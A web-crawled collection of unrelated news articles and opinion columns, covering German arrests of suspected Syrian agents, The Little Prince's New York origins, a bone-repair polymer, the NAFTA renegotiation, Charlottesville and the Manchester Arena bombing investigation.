Two men, identified only as 47-year-old German-Lebanese citizen Mahmoud El A. and 34-year-old Syrian national Akram O., were arrested in Berlin on Tuesday.
Westerwelle summoned Syria's ambassador following the arrests.
"The position of the federal government was made unmistakably clear at this meeting that the possible action against the Syrian opposition in Germany will not be tolerated," the German Foreign Ministry said.
In late December, a Berlin local politician active in the Syrian opposition was attacked by two men in his home in a case the Foreign Ministry said it was following closely.
The man's party, the Greens, said it suspected the Syrian secret services were behind the assault.
No suspects have been identified in the case.
AFP/mrySteve Chapman takes up the cause at Reason:
Outlawing this commerce serves mainly to make things worse, not better. It assures income to criminal organizations with long experience evading the law. It makes prostitutes vulnerable to abuse. It prevents measures to protect the health of providers and patrons.
It exempts an industry from the taxes and fees that legitimate businesses have to pay. It squanders police resources that could be used to fight real crime, while clogging jails and courts with offenders who will soon be back plying their trade.
Supporters of the status quo say the sex industry is filled with victims of human trafficking—foreigners forced to work in servitude. Whether such modern-day slaves amount to more than a tiny fraction of hookers, however, has never been proved.
Similar claims have been made about migrant farm laborers and domestic workers—which is not taken as grounds to ban fruit picking or home cleaning. Someone whose very job is illegal, in fact, is an ideal candidate for such exploitation, since she is unlikely to go to the cops.
But all this is secondary to the priority of human freedom. We no longer believe the government has a right to prevent homosexuals or heterosexuals from engaging in sexual practices. In 2003, the Supreme Court had the wisdom to strike down a Texas sodomy prosecution against two homosexuals caught in the act.
(…)
Some brilliant lawyer ought to ask the courts why the state may ban one type of sex between consenting adults but not another.Before He Fell To Earth, 'The Little Prince' Was Born In N.Y.
Hide caption Published in 1943, The Little Prince is one of the world's most beloved books. AuthorAntoine Saint-Exupery wrote and illustrated the book in New York, between Long Island and Manhattan. Previous Next Graham S. Haber/Courtesy of The Morgan Library and Museum
Hide caption An early illustration for The Little Prince by Antoine Saint-Exupery. Previous Next Graham S. Haber/Courtesy of The Morgan Library and Museum
Hide caption An early illustration for The Little Prince by Antoine Saint-Exupery. Previous Next Graham S. Haber/Courtesy of The Morgan Library and Museum
Hide caption An early illustration for The Little Prince by Antoine Saint-Exupery. Previous Next Graham S. Haber/Courtesy of The Morgan Library and Museum
Hide caption An early illustration for The Little Prince by Antoine Saint-Exupery. Previous Next Graham S. Haber/Courtesy of The Morgan Library and Museum
Hide caption An early illustration for The Little Prince by Antoine Saint-Exupery. Previous Next Graham S. Haber/Courtesy of The Morgan Library and Museum
Hide caption An early manuscript for The Little Prince by Antoine Saint-Exupery. Previous Next Graham S. Haber/Courtesy of The Morgan Library and Museum
Hide caption An early illustration for The Little Prince by Antoine Saint-Exupery. Previous Next Graham S. Haber/Courtesy of The Morgan Library and Museum
Hide caption An early illustration for The Little Prince by Antoine Saint-Exupery. Previous Next Graham S. Haber/Courtesy of The Morgan Library and Museum 1 of 9 i View slideshow
One of the world's most beloved books is The Little Prince by Antoine Saint-Exupery. Published in 1943, almost two million copies are sold every year, in about 250 languages.
If asked where you think the book was written, you might say Paris. You'd be wrong. Try Long Island — as in Long Island, N.Y.
When the late Nikos Kefalidis bought the house on Beven Road in Northport, Long Island, in the late 1970s, he knew that 30 years before, Saint-Exupery had written and illustrated part of Le Petit Prince in that house.
It was something known in the community, but not in many other places. His wife, Laurie Kefalidis, has stood in the room where Saint-Exupery wrote, and is happy about the book's connection to her house. She has copies of The Little Prince in some 30 languages.
"I think it's about life and death, and what's important in life," she says. "I think he talks about falsehood, or untruths, or hypocrisy, or duplicity in a very charming way, actually."
A New York Story
Saint-Exupery also wrote the book in Manhattan. The Morgan Library and Museum bought the original manuscript of The Little Prince in 1968, along with many other drawings, including precursors to what ended up in the book.
The museum had an exhibition on the 50th anniversary of publication, 20 years ago, but a new exhibition, open until May, looks at the author's creative process.
The curator of the show, The Little Prince: A New York Story, is Christine Nelson. Saint-Exupery, Nelson says, was a meticulous craftsman, but his working habits were somewhat chaotic.
"Wherever he went, he had stacks of onionskin paper with him, and always a cup of coffee or tea by his side, always a cigarette hanging out of his mouth," she says. "The manuscript we have here even has stains on many of the corners of the pages. One of the drawings even has a cigarette burn, which we've left for people to see."
From Pilot To Prince
Saint-Exupery came to New York in 1940, after the Germans occupied France. A writer and aviator, he left just after the publication of the book, returning to fly reconnaissance missions for the Allies.
Enlarge this image toggle caption John Phillips/Courtesy of The John and Annamaria Phillips Foundation John Phillips/Courtesy of The John and Annamaria Phillips Foundation
Before he left, he took his drawings and writings, many of which were deleted from the final book, and gave them in a brown paper bag to a friend, Silvia Hamilton. Nelson shows an extraordinary letter Saint-Exupery wrote and illustrated for a friend in 1940, when he was still in France. A man looking very much like the author is standing on a cloud.
"Of course in the book, it becomes a planet, and then all of this is floating above an image of Earth, and what do we see on Earth but a little sheep that looks very much like the sheep in the opening of The Little Prince, and of course a flower, and the Little Prince has a beloved flower on his planet," Nelson says.
The pictures evolve from an adult who looks like the author, with thinning hair and a bow tie, to the Little Prince. There are pages of writing, all in French — he never mastered English — all sections of the book that were deleted, including several adventures on Earth.
One page mentions places in New York. Nelson points to references of Long Island and Manhattan; "It's very tiny, but you see it."
These were all deleted from the final text. There's a section where the narrator talks about humans' inflated sense of self.
"We think we dominate the Earth, and yet we really don't take up so much space at all," Nelson paraphrases Saint-Exupery. "He says, 'If we got everyone on Earth together for a big meeting, we could fit everyone onto a small Pacific Island.' But in the manuscript, instead of a Pacific Island, it's Long Island."
Endings Left To The Imagination
When you ask people their favorite part of The Little Prince, so many talk about the boa constrictor eating the elephant, how adults only see it as a hat; or the final drawing of a sheep, just three holes in a box; and the secret told to the Little Prince by the fox.
"What is essential is invisible to the eye," Nelson says. "It reminds us of that beginning of the story: What is essential is what you can't see, what's inside the snake, what's inside your heart."
In the end we will never know if the Little Prince makes it back to his planet or dies. One year after the book came out, Saint-Exupery also disappeared into thin air, during a reconnaissance mission on July 31, 1944.
Years later parts of the plane were found, and a fisherman near Marseilles found a silver bracelet in his net, a bracelet that's in the exhibit. It has Saint-Exupery's name, the address of his publisher, and the letters NYC USA.Note to journalists: Please report that this research will be presented at a meeting of the American Chemical Society.
SAN FRANCISCO, Aug. 13, 2014 — Injuries, birth defects (such as cleft palates) or surgery to remove a tumor can create gaps in bone that are too large to heal naturally. And when they occur in the head, face or jaw, these bone defects can dramatically alter a person’s appearance. Researchers will report today that they have developed a “self-fitting” material that expands with warm salt water to precisely fill bone defects, and also acts as a scaffold for new bone growth.
The team will describe their approach in one of nearly 12,000 presentations at the 248th National Meeting & Exposition of the American Chemical Society (ACS), the world’s largest scientific society, taking place here through Thursday.
Currently, the most common method for filling bone defects in the head, face or jaw (known as the cranio-maxillofacial area) is autografting. That is a process in which surgeons harvest bone from elsewhere in the body, such as the hip bone, and then try to shape it to fit the bone defect.
“The problem is that the autograft is a rigid material that is very difficult to shape into these irregular defects,” says Melissa Grunlan, Ph.D., leader of the study. Also, harvesting bone for the autograft can itself create complications at the place where the bone was taken.
Another approach is to use bone putty or cement to plug gaps. However, these materials aren’t ideal. They become very brittle when they harden, and they lack pores, or small holes, that would allow new bone cells to move in and rebuild the damaged tissue.
To develop a better material, Grunlan and her colleagues at Texas A&M University made a shape-memory polymer (SMP) that molds itself precisely to the shape of the bone defect without being brittle. It also supports the growth of new bone tissue.
SMPs are materials whose geometry changes in response to heat. The team made a porous SMP foam by linking together molecules of poly(ε-caprolactone), an elastic, biodegradable substance that is already used in some medical implants. The resulting material resembled a stiff sponge, with many interconnected pores to allow bone cells to migrate in and grow.
Upon heating to 140 degrees Fahrenheit, the SMP becomes very soft and malleable. So, during surgery to repair a bone defect, a surgeon could warm the SMP to that temperature and fill in the defect with the softened material. Then, as the SMP is cooled to body temperature (98.6 degrees Fahrenheit), it would resume its former stiff texture and “lock” into place.
The researchers also coated the SMPs with polydopamine, a sticky substance that helps lock the polymer into place by inducing formation of a mineral that is found in bone. It may also help osteoblasts, the cells that produce bone, to adhere and spread throughout the polymer. The SMP is biodegradable, so that eventually the scaffold will disappear, leaving only new bone tissue behind.
To test whether the SMP scaffold could support bone cell growth, the researchers seeded the polymer with human osteoblasts. After three days, the polydopamine-coated SMPs had grown about five times more osteoblasts than those without a coating. Furthermore, the osteoblasts produced more of the two proteins, runX2 and osteopontin, that are critical for new bone formation.
Grunlan says that the next step will be to test the SMP’s ability to heal cranio-maxillofacial bone defects in animals. “The work we’ve done in vitro is very encouraging,” she says. “Now we’d like to move this into preclinical and, hopefully, clinical studies.”
The researchers acknowledge funding from the Texas A&M Engineering Experiment Station.
The American Chemical Society is a nonprofit organization chartered by the U.S. Congress. With more than 161,000 members, ACS is the world’s largest scientific society and a global leader in providing access to chemistry-related research through its multiple databases, peer-reviewed journals and scientific conferences. Its main offices are in Washington, D.C., and Columbus, Ohio.Looking for news you can trust?
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Until the election, we’re bringing you “The Trump Files,” a daily dose of telling episodes, strange but true stories, or curious scenes from the life of GOP nominee Donald Trump.
National media buzzed in November 1990 when it was revealed that Donald Trump would be starring in the music video for a cover of the 1971 Jean Knight single “Mr. Big Stuff” by Precious Metal, an all-female glam metal band. The label’s press release noted that it was a “featured role” that would net Trump a $25,000 donation by the band to the charity of his choice. Trump’s appearance, it crowed, was a “giant act of generosity,” and it quoted Precious Metal’s lead vocalist, Leslie Knauer, calling Trump “a real gentleman to work with.”
“When we were done, he said, ‘This is great! Let’s take this [song] to number one!'” Knauer told Entertainment Week. The enthusiasm may have been linked to the reported bonuses, purportedly also for charity, that Trump would get if the record went gold or platinum. “I think he wanted to keep the money for himself,” Knauer guessed.
Still, all was well for a few months. Then things got Trumpy.
Once the video was done, Trump decided he’d been lowballed. His claim, according to the band, was that he’d been told his appearance was a cameo. But since he appeared throughout the video, Trump allegedly wanted the band to fork over $250,000 instead. Knauer, speaking to Billboard earlier this year, said the mix-up was a lie. “Trump had the script, he played all the parts, shot them,” she said. “So later to say, ‘I thought I was only going to be in one part’—then why did you shoot all those parts? We were just a struggling band, wondering why he would do that to us. He full-on just lied.”
He also creeped out the band’s lead guitarist, Janet Robin. “I had a moment with him where he put his hands around me, his arms around me,” Robin told the Huffington Post, “not around my shoulder but around, you know, my stomach area or whatever you want to call it. I thought that was a little strange.”
“Oh my god, Janet, you have a tight body,” she recalled Trump saying. Knauer remembered the same thing. “He was kinda hot for Janet,” she told Billboard, “saying, ‘Oh my god, Janet, you have a tight body.’ Janet is gay and was like, ‘Yuck, whatever, gross.'”
Precious Metal couldn’t fork over a quarter of a million bucks, so it found a Trump look-alike and reshot the video in a way that didn’t show his face. But Trump’s nonappearance meant the video, and the band, went nowhere. “It didn’t end our band, but it didn’t help,” Knauer told Billboard. “It hurt our label’s support for us.” The band never recorded another album.
Read the rest of “The Trump Files”:Stop It Already -- He's Not So Smart
As part of the mainstream media's ongoing effort to sway and distort American thinking, liberal "analysts" for decades continually have conveyed the impression that ideological liberals are just-plain-smarter than mortal humans while conservatives -- even the good ones like the RINOs -- just are not all that smart, and in fact are stupid. Thus, Ronald Reagan was a moron, an actor who shared a bed with a monkey in "Bedtime for Bonzo." George H.W. Bush, despite having achieved extraordinary results during Operation Desert Storm, was no intellectual match for the Clintonites who derisively mocked: "It's the economy, stupid." You could not call Richard Nixon "stupid," so he instead was "tricky." (By contrast, the mainstream media did not label Bill Clinton as "tricky" even when he tried evading questions based on "what is, is.") The media depicted President Gerald Ford, a graduate of the University of Michigan and a star athlete, as a bumbling oaf. George W. Bush was another dope -- he could not even pronounce "nuclear" the way they do on the East Coast.
By contrast, John F. Kennedy was a Harvard scholar, surrounded by the "best and the brightest." Jimmy Carter was the hardest working of Presidents, whose brilliance enabled him to grasp every detail of governance. Bill Clinton, a Yale Law School graduate, also had been a Rhodes Scholar, again one of our most brilliant Presidents, albeit disbarred ultimately from practicing law before the Supreme Court. And Barack Obama -- well, a graduate of Columbia University's undergraduate school, of Harvard Law School, editor-in-chief ("president") of the Harvard Law Review, a professor of constitutional law at University of Chicago Law School. A genius, with brains to spare.
Even the losers get treated according to the media script. Barry Goldwater was a crazy man, set on launching a nuclear holocaust. Michael Dukakis and John Kerry, on the other hand, were brilliant and brillianter. Al Gore was brilliantest. Meanwhile, Bob Dole tripped off a stage, evoking the Gerald Ford myth. And John McCain? Poor guy can't count the number of houses he owns, while his pig-with-lipstick running mate cannot name a newspaper or a Supreme Court case other than Roe v. Wade. As if, for example, Sarah Palin, Governor of Alaska, governed the state with nothing to do but watch the Real Housewives of MSNBC, never reading a newspaper, never hearing of a Supreme Court case.
So it is time to say it: Stop it already. We know that Barack Obama has unique gifts that elude many of us. For example, he manifestly avoids holding banister rails when he descends steps at airports because, unlike Republicans Gerald Ford and Bob Dole, he never slips. We are very impressed, those of us who keep our hands near the banister just in case. We know that he is professorial, says "uh" when thinking, drinks beer with professors. We are very impressed.
We would be more impressed if our transparent President would allow us to see his transcript from Columbia University and share with us how he managed to finance his education there. Or if he would allow us to read his senior thesis. Or allow us to see his transcript from Harvard Law School. Yes, we know he rose to be the president of Law Review, but there is a question that nags on that one, too: I was Chief Articles Editor of UCLA Law Review and later had the honor of clerking for the Hon. Danny Julian Boggs of the United States Court of Appeals for the Sixth Circuit, one of the nation's most brilliant jurists, who later rose to become Chief Judge of the Sixth Circuit. To be selected as Chief Articles Editor, I had to research and write the Law Review Comment of a lifetime. In time, it was published and deemed good enough that I was named law review chief articles editor. In the years that followed, that Law Review Comment has been cited by federal courts in at least seven published judicial opinions, and in several other unpublished opinions. It has been cited and quoted often in other people's legal scholarship. And that is "how it works." To be a law review editor-in-chief, a Chief Articles Editor, a Chief Comments Editor of a law review, it is a sine qua non that you publish something fabulous, a real scholarly piece of work. Many dozens of America's finest law students do exactly that every year. Those articles later become part of a vast searchable electronic library of legal scholarship.
The thing is, I cannot find Barack Obama's great piece of work, the scholarship one would presume he researched, drafted, crafted, and honed, that earned him the presidency of the Harvard Law Review. The name "Obama" is the kind of search term that should do the job. But I cannot find any scholarship published by him that reveals the exceptional brilliance that paved the way to his achievement. So there is no published scholarship that refutes the increasing sense so many of us share that we Americans elected a President who maybe is not so smart as the media's campaign hype suggested. Perhaps even a rube. Just as we have been chastened by the Mississippi floods and the Midwestern tornadoes that challenge his power as a "god" to declare the moment when "the rise of the oceans began to slow and our planet began to heal." Think back to his press conference when, recklessly venturing beyond range of a teleprompter, he described his campaign efforts through the 57 states. If Dan Quayle had said that, people would have thrown potatoes at him. With Obama, though, we are told it was a slip of the tongue. When he could not properly pronounce the military term "corpsman," pronouncing it instead as one would describe a cadaver, the late-night comics did not perceive humor. When he recently bungled our Mideast policy in the face of the "Arab Spring," where the international Arab street has been screaming that their lives' real concern today is not Zionism but the tyranny, repression, and corruption perpetrated by their dictators, his supporters in the mainstream press praised his brilliant ideas nonetheless. And when the professor soon thereafter had to sit through the first intelligent lecture he had heard since he left school, Israeli Prime Minister Benjamin Netanyahu's thoughtful exposition on Mideast reality, Obama barely could move, planting and gluing his fist firmly in his face, practically gripping the wood off his chair like Captain Kirk during a Klingon attack.
I have long sensed that Prof. Obama never got a fair deal from his critics, who kept asking how he could have sat silently for twenty years through the hate-filled anti-American sermons of the Reverend Jeremiah Wright. I always have assumed the true answer is: he did not realize because he almost-never attended church. Of course no politician can say that to American voters, so Obama was caught in a quandary, ultimately throwing the reverend under the bus, then his grandmother as a racist.
Few of us have publicly lambasted our closest relatives, particularly those who reared us, just to win friends or to make a point. Perhaps we would do so if only we were smarter. Uh...
Dov Fischer, adjunct professor of law at Loyola Law School, is a columnist for several online magazines and is rabbi of Young Israel of Orange County. He blogs at rabbidov.com.A common theme uniting many conservative economic plans is that policymakers in recent years have somehow hamstrung the ability of American business to make profits. This theme comes up most clearly when conservatives decry a “regulatory onslaught” and when they call for a cut in corporate income tax rates to make U.S. corporations more internationally “competitive.”
However, the claim that American business is suffering seems awfully hard to square with the data. The figure below shows pre- and post-tax profit margins in the U.S. non-financial corporate sector. The profit margin is the share of unit prices that is claimed by profits rather than employee compensation or other business costs like depreciation. Both pre- and post-tax margins have been extraordinarily high in recent years, with each reaching their highest levels since the mid-to-late 1960s. In other words, there is little need to increase our coddling of corporate profits.THESE are troubling times for Roberto Santana Flores, a Mexican maker of charro shirts, a modern take on the Mexican cowboy aesthetic. He recalls life before the North American Free-Trade Agreement (NAFTA), a trade deal linking Mexico with America and Canada. He remembers his shirts incurred a whopping 37.5% tariff if exported to America. Now they cross the border duty-free. But his dream of expanding his factory and his American customer base is under threat. He scours the newspapers daily for news of the NAFTA negotiations. They tell of conflict. Some even warn the deal may collapse. Since it covers trade worth more than $1trn a year, that is alarming for many more than Mr Flores.
On October 17th trade representatives of the three countries gathered to mark the end of the fourth round of talks. A collapse does not seem imminent. Robert Lighthizer, the United States Trade Representative (pictured, centre), denied that abandoning the deal was even being discussed, and announced an extension of negotiations into the first quarter of 2018. But he also played down the damage that would be done if no agreement is reached. And Chrystia Freeland, the Canadian foreign-affairs minister, said that in a “no-fuss Canadian way” she was preparing for “the worst possible outcome”.
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Some parts of the revamp are progressing nicely. A trilateral statement boasted of progress on the rules covering competition policy, customs, digital trade and regulatory practices. In others, the evident tensions were always to be expected. Mr Lighthizer expressed dismay that his counterparts had rejected some text (on telecommunications, anti-corruption and digital trade) agreed to in the Trans-Pacific Partnership—a 12-country deal from which President Donald Trump withdrew America in January. But Mr Lighthizer knows that a three-party deal differs from one granting extra access to Japan. For her part, Ms Freeland was incredulous at the stinginess of America’s offer on government procurement. It meant that Bahraini businesses would have more access than Mexican and Canadian ones.
These are not the only American proposals to cross the others’ red lines. Rules that would make it easier to impose anti-dumping duties to protect seasonal American agricultural products, for example, have provoked outrage. Demands to phase out Canada’s system of supply management for dairy, poultry and eggs are politically explosive. No big political party in Canada dares take on the well-organised dairy lobby. America’s proposal to scrap NAFTA’s Chapter 19, which provides a way to resolve disputes over anti-dumping and countervailing duties, recalls 1987, when the issue provoked a Canadian walkout from trade talks.
All this is acrimonious, but within the normal bounds of trade negotiations. It is a final set of American demands that is most contentious. Ms Freeland talked of “unconventional” proposals that made her team’s work “much more challenging”. John Murphy of the United States Chamber of Commerce, a business lobby, was blunter, describing them as “so extreme that they allow no room for negotiation”.
The first is a five-year “sunset” clause, forcing a systematic regular review of the deal. Presumably the American administration believes this would deter its trading partners from bad behaviour. More probably, it would chill cross-border investment and trade. Nuno Limão, a professor of economics at the University of Maryland, has found that a hefty chunk of the trade-stimulating impact of deals comes from increased predictability. A sunset clause embedding uncertainty would do the reverse. On October 17th Mr Lighthizer, who does not see his job as promoting investment in Mexico, seemed unmoved by such concerns, asking why businesses did not just factor the risk into their decision-making.
Making America grate again
The second deal-breaker covers the car industry, responsible for more than a quarter of American imports from Mexico and Canada and, in Mexico’s case, all of the trade deficit in goods. Mr Trump wants to bring American jobs back from its neighbours, and eliminate the bilateral trade deficit. At present, at least 62.5% of a vehicle must be from within NAFTA members to qualify for tariff-free treatment. Mr Lighthizer wants that raised to 85%, with an extra requirement of 50% American content.
Those involved in the industry squeal at the disruption such changes would inflict on deeply integrated supply chains. Official statistics do not capture the likely fallout. In a recent article Wilbur Ross, America’s commerce secretary, who has reportedly been pushing for tighter rules, complained that only 16% of the value embedded in Mexican exports to America is American. But a new paper by Alonso de Gortari of Harvard University finds that once the way supply chains are adapted for the export market is taken into account, the true value embedded in Mexican vehicle exports to America is 38%.
Rather than bring jobs back to America, the proposed content rules would in the short term force car manufacturers to bypass the deal altogether, instead incurring the 2.5% tariff on cars imported into America. That would raise prices for American consumers and make North American producers less competitive.
So unorthodox is the latest batch of demands, introduced only during the latest round of talks, that some question whether the Trump administration is negotiating in good faith. Mr Lighthizer claims to be trying to please only his boss, Mr Trump. But Congress must pass the final deal. This is topsy-turvy. Normally, in America’s trade talks, the president plays nice cop to Congress’s tough guy. This time, roles are reversed. Members of Congress are examining whether it has the legal power to block an attempt to withdraw from NAFTA.
After four rounds and 22 days of negotiations squeezed into just over two months, there is now a month until the next round. In theory this should give each side time to think of “creative ways” to narrow their differences. So far the rounds have been packed so tightly together that there has not been much chance to update positions between rounds, nor to share texts in advance. But at this stage, it seems unlikely that any deal that will please the Mexicans, the Canadians, Congress and Mr Trump exists. Mr Flores, the cowboy-shirt exporter, has begun to think beyond NAFTA. After all, “there are other countries to sell to.”Ma'an, May 13, 2010
The catastrophe continues. As the 62nd anniversary of the expulsion of hundreds of thousands of Palestinians from their homes looms, rights continue to be violated and a solution is more urgent than ever.
A solution based on UN General Assembly Resolution 194 for Palestinian refugees is a must. The creation of a Palestinian state on the 1967 border, with East Jerusalem as its capital, is a must. Releasing all Palestinian prisoners from Israeli jails is a must. Solving all permanent-status issues is a must.
The international community must draw important lessons from the Nakba and make of this anniversary a date when the world upholds international law. No state is above the law, and the international community must end Israeli belligerence and disregard for international law.
Sixty-two years ago tomorrow, more than 726,000 Palestinians were forcibly displaced from their homes and lands to make way for the State of Israel. They have been prevented from returning ever since. Hundreds of Palestinian villages and neighborhoods were destroyed. Today, over seven million Palestinian refugees live in exile. Of those, more than 1.3 million Palestinians continue to live in 58 UN-administered refugee camps.
In other conflicts, refugee rights have been honored and respected, including the right of return, restitution and compensation. In stark contrast, however, Israel refuses to even recognize the Palestinian right of return, thus continuing to deny the refugees basic rights.
The Palestinian Nakba continues to this day, as Israeli practices and policies of evictions, home demolitions, deportations, settlement activities, wall-building as well as closure and siege in both the occupied West Bank and the Gaza Strip generate new waves of displaced persons.
The international community must assume its responsibility in protecting the tenets and principles of international law by pressuring Israel to immediately end these policies.
The author is the chief negotiator for the Palestine Liberation Organization.Transcript for Trump criticized for delayed response to Charlottesville protests
President trump tonight caught in the fallout, criticized for waiting hours before making his first comments about that violence in charlottesville. First lady Melania trump weighed in for the president. It's what he didn't say that has critics and supporters so upset. ABC's David Wright is traveling with the president in Bridgewater, New Jersey. We're closely following the terrible events unfolding in charlottesville, Virginia. Reporter: Today, the president finally did say the hate and division in charlottesville has no place in America. We condemn in the strongest possible terms this egregious display of hatred, bigotry and violence on many sides, on many sides. Reporter: But the president seemed to blame both the white nationalists and the counterprotesters, equally. Many of the white nationalists who organized today's rally near a statue of confederate general Robert E. Lee voted for trump. Among them, former Klan leader David duke. As these horrific scenes of hatred and violence played out, the first whitejhouse response came not from the president but from the first lady. "Our country encourages freedom of speech, but let's communicate without hate in our hearts. No good comes from violence. #Charlottesville." President trump waited another 40 minutes to weigh in himself. Tweeting, "We all must be united and condemn all that hate stands for. There is no place for this kind of violence in America. Lets come together as one!" No matter our color, creed, religion or political party, we are all Americans first. Reporter: The president's response took fire from all sides. The mayor of charlottesville tweeted, "Thanks, at long last, for condemning hate in speech and action. Our work here is just beginning. Yours is too." Republican senator Cory Gardner tweeted, "Mr. President, we must call evil by its name. These were white supremacists and that was domestic terrorism." David duke not happy either. He tweeted at trump, "I would recommend you take a good look in the mirror and remember it was white Americans who put you in the presidency, not radical leftists." Today, reporters sought to press the president further. Mr. President, number of the white nationalists -- Mr. President -- have you denounced them strongly enough? Reporter: He ignored them. President walking away from those questions. David Wright joins us now. That statement from the president is drawing a lot of heat. The white house is now trying to clarify what he meant when he condemned violence, quote, on many sides? That phrase was a source of concern to people. Made the statement a little bit ambiguous. Moral ekwif lens between the white nationalists and the counterprotesters. Tonight, the white house said that the president was condemning hatred, bigotry and violence from all sources and in all forms. Cecilia. Okay, David Wright, thank you.
This transcript has been automatically generated and may not be 100% accurate.Democratic presidential front-runner Hillary Clinton Hillary Diane Rodham ClintonREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails County GOP in Minnesota shares image comparing Sanders to Hitler Holder: 'Time to make the Electoral College a vestige of the past' MORE could be questioned by the FBI about her private email server within days, according to a report from ABC News on Friday.
The upcoming interview could speed up the timetable for the investigation and potentially bring the federal probe to a close, months before the general election kicks off this fall.
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Clinton’s campaign has been hounded by criticism from Republicans about the personal server, which she used exclusively during her tenure as secretary of State.
The federal investigation is centered around the possibility that Clinton or her senior aides mishandled classified information. While the State Department has maintained that none of the emails that passed through Clinton’s server were marked as classified at the time, more than 2,000 of the roughly 30,000 emails later handed over to the department and then released to the public were marked as classified at some level.
The FBI did not respond to an inquiry about the investigation concerning Clinton’s server on Friday. It was previously reported that the FBI has conducted interviews with some of Clinton's top advisers, including Huma Abedin.The Politico reported that Dennis Blair stated that harsh interrogation techniques yielded "high-value information" but did not note Blair's reported statement that the costs of those techniques "far outweighed whatever benefit they gave us."
Politico reported in an April 22 article and blog post that Director of National Intelligence Dennis Blair stated that harsh interrogation techniques yielded "high-value information" but did not note in either piece that, according to several articles, Blair issued a statement on April 21 that said, "The bottom line is these techniques have hurt our image around the world, the damage they have done to our interests far outweighed whatever benefit they gave us and they are not essential to our national security." Moreover, the article -- by Josh Gerstein and Mike Allen -- and the blog post -- by Gerstein -- also did not note that, according to the blog of the U.S. Naval Institute, in the April 16 letter that was sent "to the Intelligence Community workforce," Blair made clear he opposes the use of such techniques.
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larger scales (for example, bird and fish utilization, water quality interactions of oysters and eelgrass). The large experiment is at the TNC site only.
Baycrete Substrate element—Smaller scale experiment to examine small-scale biological effects. This experiment consists of replicate 1x1 m substrate elements of different types, intended to compare native oyster recruitment and growth parameters to inform future restoration projects. At TNC in 2012, this experiment was set up in the 30-m spaces between and on either side of the line of larger scale plots described above. At TNC, four oyster substrate types not tested in the large scale experiment (reef balls, mini reef ball stacks, layer cakes, and oyster blocks) are replicated 5 times, for a total of 20 elements. These elements are placed in groups (blocks) of four, with each of the four substrate types represented in each block.
A substrate element experiment will be the only project installed at Eden Landing in 2012. This is similar to that described for TNC in that it includes 1x1 m substrate elements replicated in 5 blocks and aligned parallel with the shoreline at about 200 m from shore. However, at Eden Landing, there are 5 substrate types: the 4 tested in the TNC substrate element experiment, plus the substrate type used in the larger scale project at TNC (oyster shell bags). In addition, there are 5 replicate 1x1m plots of eelgrass planted, one in each block, as well as a treatment that includes one of the oyster substrate types along with eelgrass planted directly adjacent to it. More detail about these designs is included in the project description.Security forces rounded up more suspects Wednesday in the deadly Manchester concert blast and soldiers fanned out across the country to national landmarks as an on-edge Britain tried to thwart the possibility of additional attacks.
Officials scoured the background of the British-born ethnic Libyan identified as the bomber, saying he was likely part of a wider terrorist network. Additional arrests were made both in Britain and in Libya in the bombing that killed 22 people and wounded scores more.
"I think it's very clear this is a network we are investigating," said Chief Constable Ian Hopkins of the Manchester Police, as authorities raided properties thought to be connected to Salman Abedi, the 22-year-old suspected bomber who grew up in Manchester and died in the attack.
British Home Secretary Amber Rudd said Abedi "likely" did not act alone in the strike at the close of an Ariana Grande concert Monday night and that he had been known to security forces "up to a point." Meanwhile, officials probed possible travel by the alleged bomber, looking for clues to new threats.
Government officials said nearly 1,000 soldiers were deployed to Buckingham Palace, Parliament and other high-profile sites across the country. Britain's terror threat level was raised to "critical" — the highest level — on Tuesday over concern another attack could be imminent.
French Interior Minister Gerard Collomb said Abedi was believed to have traveled to Syria and had "proven" links to the Islamic State group, which claimed responsibility for the attack. British officials, however, have not commented on whether Abedi had links to IS or other extremist groups.
An apparent suicide bombing during a concert by singer Ariana Grande in Manchester, England, left 22 people dead and scores more wounded on May 22, 2017.
British authorities were probing whether Abedi had ties to other cells across Europe and North Africa, according to two officials familiar with the case who spoke on condition of anonymity because they were not authorized to speak about the ongoing investigation.
They said one thread of the inquiry involved pursuing whether Abedi could have been part of a larger terror cell that included Mohamed Abrini, otherwise known as "the man in the hat," with connections to the Brussels and Paris attacks. Abrini visited Manchester in 2015.
Five additional arrests were made in Britain on Wednesday as the sprawling investigation extended to Libya, where Abedi's father and a younger brother were detained in Tripoli. The father, Ramadan Abedi, denied his son had links to militants in an interview with The Associated Press earlier Wednesday, saying, "We don't believe in killing innocents."
The elder Abedi was allegedly a member of the al-Qaida-backed Libyan Islamic Fighting group in the 1990s, according to a former Libyan security official, Abdel-Basit Haroun. The Libyan anti-terror force that arrested the men said the brother, 18-year-old Hashim Abedi, confessed he and his brother were linked to the Islamic State group and that he was aware of the arena bombing plan.
AP British authorities identified Salman Abedi as the bomber who was responsible for an explosion in Manchester which killed more than 20 people. British authorities identified Salman Abedi as the bomber who was responsible for an explosion in Manchester which killed more than 20 people. (AP) (AP)
A second brother, Ismail Abedi, 23, was taken into custody in Manchester a day earlier.
The suspected bomber grew up in Manchester's southern suburbs and once attended Salford University there. Neighbors recalled him as tall, thin and quiet, and said he often wore traditional Islamic dress. Among investigators' areas of interest is how often Abedi traveled to Libya, which has seen an eruption of armed Islamist groups since dictator Moammar Gadhafi was overthrown and killed in 2011.
Before his arrest, Abedi's father said he had last spoken to his son five days ago and he sounded "normal." He said his son was getting ready to visit Saudi Arabia for a short Umrah pilgrimage then planned to head to Libya to spend the Islamic holy month of Ramadan with his family. He said his son last visited Libya about six weeks ago and had never gone to Syria. He denied ties to any militant groups or suggestions of extremism.
"We aren't the ones who blow up ourselves among innocents," he said. "We go to mosques. We recite Quran, but not that."
At Manchester's Didsbury Mosque, where the Abedi family worshipped, the bombing was condemned and reports that the suspected bomber had worked there were denied. Azhar Mahmoud, who prays at the mosque in southern Manchester, said it was "horrible" that Abedi was associated with it.
"Wherever he got that, he didn't get it from this mosque," he said, adding that the imam regularly preached against radicalization.
British Prime Minister Theresa May chaired a meeting Wednesday of her emergency security cabinet group to talk about intelligence reports on Abedi and concerns that he might have had outside support. Police raided homes believed to be connected with the investigation.
At one apartment building in Manchester, heavily armed police swarmed in and a controlled explosion was heard. At another property, a house a 10-minute walk from where Abedi lived, neighbors said they were awakened by a loud noise and saw a man hauled away in handcuffs.
"There was a policeman, armed policeman, shouting," neighbor Omar Alfa Khuri said. "And I realized there is something wrong here."
Across London, troops fanned out and authorities reconsidered security plans. The changing of the guard ceremony at Buckingham Palace was canceled so police officers could be re-deployed. The Palace of Westminster, which houses Parliament, was shuttered to those without passes, and tours and events were canceled until further notice. Armed police patrolled outside St. Paul's Cathedral in London, another popular tourist spot.
